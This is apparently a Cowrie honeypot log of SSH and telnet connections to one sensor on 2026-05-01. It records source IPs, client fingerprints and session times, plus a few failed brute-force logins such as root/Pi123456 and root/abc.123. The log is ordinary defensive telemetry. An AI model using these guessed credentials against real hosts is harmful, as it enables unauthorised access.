{"eventid":"cowrie.session.closed","duration":120.00128650665283,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:03:00.875652Z","src_ip":"78.162.129.104","session":"9717c65608a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":48544,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ca3b64fffe1","protocol":"telnet","message":"New connection: 24.199.85.165:48544 (10.17.0.5:23) [session: 7ca3b64fffe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:03:01.409224Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.162.129.104","src_port":42652,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7ce620b074b","protocol":"telnet","message":"New connection: 78.162.129.104:42652 (10.17.0.5:23) [session: b7ce620b074b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:03:01.742305Z"}
{"eventid":"cowrie.session.connect","src_ip":"121.122.119.48","src_port":44678,"dst_ip":"159.203.135.109","dst_port":22,"session":"366f31465c80","protocol":"ssh","message":"New connection: 121.122.119.48:44678 (159.203.135.109:22) [session: 366f31465c80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:03:04.146071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:03:04.150915Z","src_ip":"121.122.119.48","session":"366f31465c80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:03:04.393267Z","src_ip":"121.122.119.48","session":"366f31465c80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"qweqwe","message":"login attempt [test/qweqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:03:05.408145Z","src_ip":"121.122.119.48","session":"366f31465c80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:03:06.653902Z","src_ip":"121.122.119.48","session":"366f31465c80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.202.94.120","src_port":58816,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8267299a312","protocol":"telnet","message":"New connection: 149.202.94.120:58816 (10.17.0.5:23) [session: e8267299a312]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:03:22.285639Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.202.94.120","src_port":58826,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d9355123c41","protocol":"telnet","message":"New connection: 149.202.94.120:58826 (10.17.0.5:23) [session: 4d9355123c41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:03:23.281686Z"}
{"eventid":"cowrie.session.closed","duration":36.19009470939636,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:03:37.599176Z","src_ip":"24.199.85.165","session":"7ca3b64fffe1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85234570503235,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:03:53.137872Z","src_ip":"149.202.94.120","session":"e8267299a312","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02344059944153,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:03:54.305020Z","src_ip":"149.202.94.120","session":"4d9355123c41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.202.94.120","src_port":34038,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dcafccc9828","protocol":"telnet","message":"New connection: 149.202.94.120:34038 (10.17.0.5:23) [session: 7dcafccc9828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:04:06.300670Z"}
{"eventid":"cowrie.session.connect","src_ip":"121.122.119.48","src_port":53607,"dst_ip":"159.203.135.109","dst_port":22,"session":"52799844218b","protocol":"ssh","message":"New connection: 121.122.119.48:53607 (159.203.135.109:22) [session: 52799844218b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:04:06.946798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:04:06.951986Z","src_ip":"121.122.119.48","session":"52799844218b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:04:07.193534Z","src_ip":"121.122.119.48","session":"52799844218b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.57.165.243","src_port":59800,"dst_ip":"159.203.135.109","dst_port":23,"session":"5124095f40cf","protocol":"telnet","message":"New connection: 198.57.165.243:59800 (159.203.135.109:23) [session: 5124095f40cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:04:07.850578Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pi123456","message":"login attempt [root/Pi123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:04:08.190517Z","src_ip":"121.122.119.48","session":"52799844218b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:04:09.441061Z","src_ip":"121.122.119.48","session":"52799844218b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.202.94.120","src_port":47252,"dst_ip":"10.17.0.5","dst_port":23,"session":"506b1d495ef2","protocol":"telnet","message":"New connection: 149.202.94.120:47252 (10.17.0.5:23) [session: 506b1d495ef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:04:19.723221Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.202.94.120","src_port":47264,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2d9a530c154","protocol":"telnet","message":"New connection: 149.202.94.120:47264 (10.17.0.5:23) [session: b2d9a530c154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:04:21.277041Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:04:21.427489Z","src_ip":"223.83.114.88","session":"66124d63f6bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.840260982513428,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:04:37.140810Z","src_ip":"149.202.94.120","session":"7dcafccc9828","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.870470762252808,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:04:38.720936Z","src_ip":"198.57.165.243","session":"5124095f40cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.40856099128723,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:04:50.131643Z","src_ip":"149.202.94.120","session":"506b1d495ef2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92847442626953,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:04:52.205385Z","src_ip":"149.202.94.120","session":"b2d9a530c154","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00251841545105,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:05:01.744712Z","src_ip":"78.162.129.104","session":"b7ce620b074b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.202.94.120","src_port":38252,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ab7ea2adbd1","protocol":"telnet","message":"New connection: 149.202.94.120:38252 (10.17.0.5:23) [session: 8ab7ea2adbd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:05:06.324502Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.202.94.120","src_port":38266,"dst_ip":"10.17.0.5","dst_port":23,"session":"2563ec2b9403","protocol":"telnet","message":"New connection: 149.202.94.120:38266 (10.17.0.5:23) [session: 2563ec2b9403]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:05:06.709840Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.202.94.120","src_port":49002,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bb5354a00f1","protocol":"telnet","message":"New connection: 149.202.94.120:49002 (10.17.0.5:23) [session: 9bb5354a00f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:05:26.323406Z"}
{"eventid":"cowrie.session.closed","duration":30.8183012008667,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:05:37.142667Z","src_ip":"149.202.94.120","session":"8ab7ea2adbd1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.44347596168518,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:05:37.153187Z","src_ip":"149.202.94.120","session":"2563ec2b9403","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.202.94.120","src_port":49854,"dst_ip":"10.17.0.5","dst_port":23,"session":"7463d698eae3","protocol":"telnet","message":"New connection: 149.202.94.120:49854 (10.17.0.5:23) [session: 7463d698eae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:05:40.284556Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.202.94.120","src_port":52242,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d84296f4c52","protocol":"telnet","message":"New connection: 149.202.94.120:52242 (10.17.0.5:23) [session: 5d84296f4c52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:05:52.526847Z"}
{"eventid":"cowrie.session.closed","duration":30.81053376197815,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:05:57.133819Z","src_ip":"149.202.94.120","session":"9bb5354a00f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.202.94.120","src_port":33526,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa95a22bbf76","protocol":"telnet","message":"New connection: 149.202.94.120:33526 (10.17.0.5:23) [session: fa95a22bbf76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:05:57.349258Z"}
{"eventid":"cowrie.session.connect","src_ip":"191.255.52.36","src_port":42804,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ebd6ad9e836","protocol":"ssh","message":"New connection: 191.255.52.36:42804 (159.203.135.109:22) [session: 5ebd6ad9e836]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:05:59.461021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:05:59.465850Z","src_ip":"191.255.52.36","session":"5ebd6ad9e836","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:05:59.621740Z","src_ip":"191.255.52.36","session":"5ebd6ad9e836","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc.123","message":"login attempt [root/abc.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:06:00.238736Z","src_ip":"191.255.52.36","session":"5ebd6ad9e836","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:06:01.427823Z","src_ip":"191.255.52.36","session":"5ebd6ad9e836","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.202.94.120","src_port":33536,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0bcd696d678","protocol":"telnet","message":"New connection: 149.202.94.120:33536 (10.17.0.5:23) [session: f0bcd696d678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:06:03.393866Z"}
{"eventid":"cowrie.session.closed","duration":30.89609456062317,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:06:11.180532Z","src_ip":"149.202.94.120","session":"7463d698eae3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.220767736434937,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:06:23.747487Z","src_ip":"149.202.94.120","session":"5d84296f4c52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.807661294937134,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:06:28.156828Z","src_ip":"149.202.94.120","session":"fa95a22bbf76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.747525215148926,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:06:34.141263Z","src_ip":"149.202.94.120","session":"f0bcd696d678","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.202.94.120","src_port":43120,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cf13ac1cfbf","protocol":"telnet","message":"New connection: 149.202.94.120:43120 (10.17.0.5:23) [session: 9cf13ac1cfbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:06:34.304829Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.245.238.95","src_port":17445,"dst_ip":"159.203.135.109","dst_port":23,"session":"75e02c8a9c03","protocol":"telnet","message":"New connection: 177.245.238.95:17445 (159.203.135.109:23) [session: 75e02c8a9c03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:01.171853Z"}
{"eventid":"cowrie.session.closed","duration":30.88167667388916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:05.186195Z","src_ip":"149.202.94.120","session":"9cf13ac1cfbf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.202.94.120","src_port":52666,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5c19c7246fb","protocol":"telnet","message":"New connection: 149.202.94.120:52666 (10.17.0.5:23) [session: c5c19c7246fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:10.858721Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":58742,"dst_ip":"159.203.135.109","dst_port":23,"session":"b95a2d8d229a","protocol":"telnet","message":"New connection: 192.119.108.58:58742 (159.203.135.109:23) [session: b95a2d8d229a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:16.152815Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":58854,"dst_ip":"159.203.135.109","dst_port":23,"session":"4990baf0ee22","protocol":"telnet","message":"New connection: 192.119.108.58:58854 (159.203.135.109:23) [session: 4990baf0ee22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:16.290536Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":59486,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b67163dc3cc","protocol":"telnet","message":"New connection: 192.119.108.58:59486 (159.203.135.109:23) [session: 9b67163dc3cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:17.230450Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":59616,"dst_ip":"159.203.135.109","dst_port":23,"session":"30598955e908","protocol":"telnet","message":"New connection: 192.119.108.58:59616 (159.203.135.109:23) [session: 30598955e908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:17.403463Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":59382,"dst_ip":"159.203.135.109","dst_port":23,"session":"a95cc6479b0c","protocol":"telnet","message":"New connection: 192.119.108.58:59382 (159.203.135.109:23) [session: a95cc6479b0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:18.138776Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":60282,"dst_ip":"159.203.135.109","dst_port":23,"session":"81bbea4f0f52","protocol":"telnet","message":"New connection: 192.119.108.58:60282 (159.203.135.109:23) [session: 81bbea4f0f52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:18.181461Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":60260,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfcf8e72388c","protocol":"telnet","message":"New connection: 192.119.108.58:60260 (159.203.135.109:23) [session: cfcf8e72388c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:19.143037Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":32858,"dst_ip":"159.203.135.109","dst_port":23,"session":"f228edb60f5a","protocol":"telnet","message":"New connection: 192.119.108.58:32858 (159.203.135.109:23) [session: f228edb60f5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:19.225613Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":32900,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a7240fda150","protocol":"telnet","message":"New connection: 192.119.108.58:32900 (159.203.135.109:23) [session: 1a7240fda150]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:19.272339Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":33520,"dst_ip":"159.203.135.109","dst_port":23,"session":"209f8a21fcdb","protocol":"telnet","message":"New connection: 192.119.108.58:33520 (159.203.135.109:23) [session: 209f8a21fcdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:20.101582Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":34250,"dst_ip":"159.203.135.109","dst_port":23,"session":"49c8075a8904","protocol":"telnet","message":"New connection: 192.119.108.58:34250 (159.203.135.109:23) [session: 49c8075a8904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:21.091695Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":34366,"dst_ip":"159.203.135.109","dst_port":23,"session":"733909da1b75","protocol":"telnet","message":"New connection: 192.119.108.58:34366 (159.203.135.109:23) [session: 733909da1b75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:21.255523Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":34372,"dst_ip":"159.203.135.109","dst_port":23,"session":"08652d5b5bd9","protocol":"telnet","message":"New connection: 192.119.108.58:34372 (159.203.135.109:23) [session: 08652d5b5bd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:21.259888Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":34444,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fc76332717c","protocol":"telnet","message":"New connection: 192.119.108.58:34444 (159.203.135.109:23) [session: 0fc76332717c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:21.312260Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":60536,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b6e38af026f","protocol":"telnet","message":"New connection: 192.119.108.58:60536 (159.203.135.109:23) [session: 9b6e38af026f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:21.535284Z"}
